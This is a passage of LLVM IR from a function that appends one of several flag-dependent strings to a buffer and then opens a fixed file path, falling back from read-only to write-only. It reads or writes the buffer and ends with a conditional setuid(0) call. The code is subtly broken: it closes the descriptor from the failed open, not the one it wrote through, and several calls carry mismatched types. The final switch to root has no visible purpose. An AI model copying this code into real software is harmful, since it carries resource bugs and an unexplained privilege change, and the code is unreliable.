%55 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i32 9)
br i1 %13, label %58, label %56
56: ; preds = %49
%57 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @str, i64 0, i64 0), i32 5)
br label %98
58: ; preds = %49
%59 = icmp eq i32 %1, 0
br i1 %59, label %64, label %60
60: ; preds = %58
%61 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.3, i64 0, i64 0), i32 9)
%62 = call i32 @strlen(i8* %3)
%63 = call i32 @write_buffer(i8** %12, i8* %3, i32 %62)
br label %98
64: ; preds = %58
%65 = icmp eq i32 %2, 0
br i1 %65, label %70, label %66
66: ; preds = %64
%67 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.4, i64 0, i64 0), i32 11)
%68 = call i32 @strlen(i8* %3)
%69 = call i32 @write_buffer(i8** %12, i8* %3, i32 %68)
br label %98
70: ; preds = %64
%71 = icmp eq i32 %4, 0
br i1 %71, label %76, label %72
72: ; preds = %70
%73 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.5, i64 0, i64 0), i32 10)
%74 = call i32 @strlen(i8* %6)
%75 = call i32 @write_buffer(i8** %12, i8* %6, i32 %74)
br label %98
76: ; preds = %70
%77 = icmp eq i32 %5, 0
br i1 %77, label %82, label %78
78: ; preds = %76
%79 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i32 12)
%80 = call i32 @strlen(i8* %6)
%81 = call i32 @write_buffer(i8** %12, i8* %6, i32 %80)
br label %98
82: ; preds = %76
%83 = icmp eq i32 %7, 0
br i1 %83, label %86, label %84
84: ; preds = %82
%85 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.7, i64 0, i64 0), i32 5)
br label %98
86: ; preds = %82
%87 = icmp eq i32 %8, 0
br i1 %87, label %90, label %88
88: ; preds = %86
%89 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.8, i64 0, i64 0), i32 7)
br label %98
90: ; preds = %86
%91 = icmp eq i32 %9, 0
br i1 %91, label %94, label %92
92: ; preds = %90
%93 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.9, i64 0, i64 0), i32 8)
br label %98
94: ; preds = %90
%95 = icmp eq i32 %10, 0
br i1 %95, label %98, label %96
96: ; preds = %94
%97 = call i32 @write_buffer(i8** %12, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.10, i64 0, i64 0), i32 10)
br label %98
98: ; preds = %60, %72, %84, %92, %96, %94, %88, %78, %66, %56
%99 = load i32, i32* @O_RDONLY
%100 = call i32 @open(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0), i32 %99)
%101 = icmp slt i32 %100, 1
br i1 %101, label %102, label %113
102: ; preds = %98
%103 = load i32, i32* @O_WRONLY
%104 = call i32 @open(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0), i32 %103)
%105 = icmp slt i32 %104, 1
br i1 %105, label %106, label %111
106: ; preds = %102
%107 = load i32, i32* @stderr
%108 = call i32 @fprintf(i32 %107, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.12, i64 0, i64 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0))
%109 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([26 x i8], [26 x i8]* @.str.12, i64 0, i64 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0))
%110 = call i32 @exit(i32 1)
unreachable
111: ; preds = %102
%112 = call i32 @write(i32 %104, i8* %52, i64 %51)
br label %115
113: ; preds = %98
%114 = call i32 @read(i32 %100, i8* %52, i64 %51)
br label %115
115: ; preds = %113, %111
%116 = call i32 @close(i32 %100)
%117 = call i32 @free(i8* %52)
br i1 %13, label %120, label %118
118: ; preds = %115
%119 = call i32 @setuid(i32 0)
br label %120
120: ; preds = %118, %115
ret void
}